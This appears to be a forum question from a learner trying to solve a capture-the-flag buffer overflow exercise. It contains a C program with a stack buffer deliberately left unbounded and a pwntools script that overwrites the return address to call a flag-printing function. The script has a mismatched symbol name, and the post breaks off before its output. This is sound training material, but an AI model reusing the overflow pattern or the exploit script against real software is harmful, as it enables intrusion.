Consider the following simple C program that asks the user for to input their user name and password in order to get access to some website. (The correct username is supposed to be "admin" and the password is a secret random number.) The compiler flag looks like this:
gcc -o main.elf main.c -static -ggdb -O0 -fno-stack-protector
My task is to find obtain the flag contained in the file "flag.txt", which we are supposed to do by callin the function "showFlag" via a buffer overflow attack. (We can use the symbold method of the elf class from pwntools in Python to find the address of "showFlag" in the binary.)
However, I do not see how to trigger a buffer overflow here. I think that the parts
char password[040];
(which implies 32 bit length)
readInput(password, 0x40);
(which implies 64 bit length)
is the bottlehead. However, when I enter some arbitrarily long text for the password to trigger some buffer overflow and I do not know why. (I wrote a small Python script for this, see below.)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void showFlag()
{
FILE *file;
char c = 0;
file = fopen("flag.txt", "r");
if (file)
{
c = fgetc(file);
while (c != EOF)
{
printf("%c", c);
c = fgetc(file);
}
printf("\n");
fflush(stdout);
}
fclose(file);
}
void readInput(char *target_buffer, int size)
{
int c;
int i = 0;
while ((c = getchar()) != '\n' && c != EOF)
{
if (i < size)
{
target_buffer[i] = (char)c;
i++;
}
}
target_buffer[size - 1] = '\0';
}
int main()
{
char username[010];
char password[040];
// Generate seed using current time
time_t seed = time(NULL);
if (seed == ((time_t)-1)) // Check for error in time()
{
puts("Error in retrieving current time");
exit(2);
}
srand((unsigned int)seed);
unsigned int secret_number = rand() % 19483;
puts("Username:");
readInput(username, 010);
puts("Password:");
readInput(password, 0x40);
if (!strncmp(username, "admin", 5) && secret_number == 0xDEADBEFE)
{
puts("You got the secret number right!");
return 0;
}
else
{
puts("Your login credentials were false.");
exit(0);
}
return 0;
}
My Python Script:
from pwn import *
# Define the ELF binary
elf = ELF('./main.elf')
win_address = elf.symbols['win']
print("Address = ", win_address)
elf = process('./main.elf')
offset = 40
payload = b'A' * offset
payload += p64(win_address)
elf.recvuntil("Username:")
elf.sendline("admin") # username is admin
elf.recvuntil("Password:")
elf.sendline(payload) # sending payload
elf.interactive()
elf.close()
What I get when running the script: